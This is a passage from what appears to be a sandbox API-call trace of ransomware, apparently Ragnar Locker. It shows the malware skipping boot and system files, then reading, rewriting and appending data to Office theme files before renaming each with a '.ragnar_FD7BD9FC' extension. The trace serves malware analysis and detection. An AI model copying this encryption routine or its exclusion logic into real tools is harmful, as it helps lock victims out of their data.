lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0094.059] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Metro.eftx" | out: lpString1="Metro.eftx") returned="Metro.eftx" [0094.059] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned=".eftx" [0094.059] lstrcmpiW (lpString1="Metro.eftx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.059] lstrcmpiW (lpString1="Metro.eftx", lpString2="autorun.inf") returned 1 [0094.059] lstrcmpiW (lpString1="Metro.eftx", lpString2="boot.ini") returned 1 [0094.059] lstrcmpiW (lpString1="Metro.eftx", lpString2="bootfont.bin") returned 1 [0094.059] lstrcmpiW (lpString1="Metro.eftx", lpString2="bootsect.bak") returned 1 [0094.059] lstrcmpiW (lpString1="Metro.eftx", lpString2="bootmgr") returned 1 [0094.059] lstrcmpiW (lpString1="Metro.eftx", lpString2="bootmgr.efi") returned 1 [0094.060] lstrcmpiW (lpString1="Metro.eftx", lpString2="bootmgfw.efi") returned 1 [0094.060] lstrcmpiW (lpString1="Metro.eftx", lpString2="desktop.ini") returned 1 [0094.060] lstrcmpiW (lpString1="Metro.eftx", lpString2="iconcache.db") returned 1 [0094.060] lstrcmpiW (lpString1="Metro.eftx", lpString2="ntldr") returned -1 [0094.060] lstrcmpiW (lpString1="Metro.eftx", lpString2="ntuser.dat") returned -1 [0094.060] lstrcmpiW (lpString1="Metro.eftx", lpString2="ntuser.dat.log") returned -1 [0094.060] lstrcmpiW (lpString1="Metro.eftx", lpString2="ntuser.ini") returned -1 [0094.060] lstrcmpiW (lpString1="Metro.eftx", lpString2="thumbs.db") returned -1 [0094.060] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0094.060] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0094.060] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0094.060] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0094.060] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0094.060] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0094.060] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0094.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx")) returned 0x20 [0094.061] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.061] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=24117) returned 1 [0094.061] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x5e2c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.061] GetProcessHeap () returned 0x580000 [0094.061] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.061] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.063] VirtualAlloc (lpAddress=0x0, dwSize=0x5e35, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.063] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.063] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.063] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5e35, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5e35, lpOverlapped=0x0) returned 1 [0094.064] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.064] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5e35, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.064] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5e35, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5e35, lpOverlapped=0x0) returned 1 [0094.064] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5e35, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.064] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.064] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x5e35, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.064] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.065] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.065] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.065] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.065] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.065] GetProcessHeap () returned 0x580000 [0094.065] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.065] CloseHandle (hObject=0x98) returned 1 [0094.065] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" [0094.065] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.ragnar_FD7BD9FC" [0094.065] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.066] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd5a000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1dd5a000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa95d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.eftx", cAlternateFileName="MODULE~1.EFT")) returned 1 [0094.066] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0094.066] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Module.eftx" | out: lpString1="Module.eftx") returned="Module.eftx" [0094.066] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned=".eftx" [0094.066] lstrcmpiW (lpString1="Module.eftx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.066] lstrcmpiW (lpString1="Module.eftx", lpString2="autorun.inf") returned 1 [0094.066] lstrcmpiW (lpString1="Module.eftx", lpString2="boot.ini") returned 1 [0094.066] lstrcmpiW (lpString1="Module.eftx", lpString2="bootfont.bin") returned 1 [0094.066] lstrcmpiW (lpString1="Module.eftx", lpString2="bootsect.bak") returned 1 [0094.066] lstrcmpiW (lpString1="Module.eftx", lpString2="bootmgr") returned 1 [0094.066] lstrcmpiW (lpString1="Module.eftx", lpString2="bootmgr.efi") returned 1 [0094.066] lstrcmpiW (lpString1="Module.eftx", lpString2="bootmgfw.efi") returned 1 [0094.066] lstrcmpiW (lpString1="Module.eftx", lpString2="desktop.ini") returned 1 [0094.066] lstrcmpiW (lpString1="Module.eftx", lpString2="iconcache.db") returned 1 [0094.066] lstrcmpiW (lpString1="Module.eftx", lpString2="ntldr") returned -1 [0094.066] lstrcmpiW (lpString1="Module.eftx", lpString2="ntuser.dat") returned -1 [0094.066] lstrcmpiW (lpString1="Module.eftx", lpString2="ntuser.dat.log") returned -1 [0094.066] lstrcmpiW (lpString1="Module.eftx", lpString2="ntuser.ini") returned -1 [0094.066] lstrcmpiW (lpString1="Module.eftx", lpString2="thumbs.db") returned -1 [0094.066] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0094.066] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0094.066] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0094.066] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0094.066] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0094.066] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0094.067] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0094.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx")) returned 0x20 [0094.067] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.068] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=43357) returned 1 [0094.068] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0xa954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.068] GetProcessHeap () returned 0x580000 [0094.068] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.068] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.069] VirtualAlloc (lpAddress=0x0, dwSize=0xa95d, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.069] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.069] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.069] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa95d, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa95d, lpOverlapped=0x0) returned 1 [0094.070] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.071] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa95d, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.071] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa95d, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa95d, lpOverlapped=0x0) returned 1 [0094.071] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa95d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.071] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.071] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0xa95d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.071] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.071] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.072] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.072] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.072] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.072] GetProcessHeap () returned 0x580000 [0094.072] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.072] CloseHandle (hObject=0x98) returned 1 [0094.072] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" [0094.072] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.ragnar_FD7BD9FC" [0094.072] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.073] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c73700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x80c73700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8e301, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.eftx", cAlternateFileName="NEWSPR~1.EFT")) returned 1 [0094.073] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0094.073] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Newsprint.eftx" | out: lpString1="Newsprint.eftx") returned="Newsprint.eftx" [0094.073] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned=".eftx" [0094.073] lstrcmpiW (lpString1="Newsprint.eftx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.073] lstrcmpiW (lpString1="Newsprint.eftx", lpString2="autorun.inf") returned 1 [0094.073] lstrcmpiW (lpString1="Newsprint.eftx", lpString2="boot.ini") returned 1 [0094.073] lstrcmpiW (lpString1="Newsprint.eftx", lpString2="bootfont.bin") returned 1 [0094.073] lstrcmpiW (lpString1="Newsprint.eftx", lpString2="bootsect.bak") returned 1 [0094.073] lstrcmpiW (lpString1="Newsprint.eftx", lpString2="bootmgr") returned 1 [0094.073] lstrcmpiW (lpString1="Newsprint.eftx", lpString2="bootmgr.efi") returned 1 [0094.073] lstrcmpiW (lpString1="Newsprint.eftx", lpString2="bootmgfw.efi") returned 1 [0094.073] lstrcmpiW (lpString1="Newsprint.eftx", lpString2="desktop.ini") returned 1 [0094.073] lstrcmpiW (lpString1="Newsprint.eftx", lpString2="iconcache.db") returned 1 [0094.073] lstrcmpiW (lpString1="Newsprint.eftx", lpString2="ntldr") returned -1 [0094.073] lstrcmpiW (lpString1="Newsprint.eftx", lpString2="ntuser.dat") returned -1 [0094.073] lstrcmpiW (lpString1="Newsprint.eftx", lpString2="ntuser.dat.log") returned -1 [0094.073] lstrcmpiW (lpString1="Newsprint.eftx", lpString2="ntuser.ini") returned -1 [0094.073] lstrcmpiW (lpString1="Newsprint.eftx", lpString2="thumbs.db") returned -1 [0094.073] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0094.073] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0094.073] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0094.073] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0094.073] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0094.073] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0094.073] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0094.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx")) returned 0x20 [0094.074] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.074] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=582401) returned 1 [0094.074] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x8e2f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.075] GetProcessHeap () returned 0x580000 [0094.075] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.075] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.076] VirtualAlloc (lpAddress=0x0, dwSize=0x8e301, flAllocationType=0x3000, flProtect=0x4) returned 0x21c0000 [0094.076] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.076] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.076] ReadFile (in: hFile=0x98, lpBuffer=0x21c0000, nNumberOfBytesToRead=0x8e301, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x21c0000*, lpNumberOfBytesRead=0x1eaf34*=0x8e301, lpOverlapped=0x0) returned 1 [0094.088] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.091] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8e301, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.091] WriteFile (in: hFile=0x98, lpBuffer=0x21c0000*, nNumberOfBytesToWrite=0x8e301, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x21c0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8e301, lpOverlapped=0x0) returned 1 [0094.094] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8e301, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.094] VirtualFree (lpAddress=0x21c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.096] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x8e301, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.097] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.097] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.097] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.097] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.097] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.097] GetProcessHeap () returned 0x580000 [0094.097] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.097] CloseHandle (hObject=0x98) returned 1 [0094.097] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" [0094.097] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.ragnar_FD7BD9FC" [0094.097] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.098] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21692700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x21692700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8059, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.eftx", cAlternateFileName="OPULEN~1.EFT")) returned 1 [0094.098] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0094.098] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Opulent.eftx" | out: lpString1="Opulent.eftx") returned="Opulent.eftx" [0094.098] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned=".eftx" [0094.098] lstrcmpiW (lpString1="Opulent.eftx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.098] lstrcmpiW (lpString1="Opulent.eftx", lpString2="autorun.inf") returned 1 [0094.098] lstrcmpiW (lpString1="Opulent.eftx", lpString2="boot.ini") returned 1 [0094.098] lstrcmpiW (lpString1="Opulent.eftx", lpString2="bootfont.bin") returned 1 [0094.098] lstrcmpiW (lpString1="Opulent.eftx", lpString2="bootsect.bak") returned 1 [0094.098] lstrcmpiW (lpString1="Opulent.eftx", lpString2="bootmgr") returned 1 [0094.098] lstrcmpiW (lpString1="Opulent.eftx", lpString2="bootmgr.efi") returned 1 [0094.098] lstrcmpiW 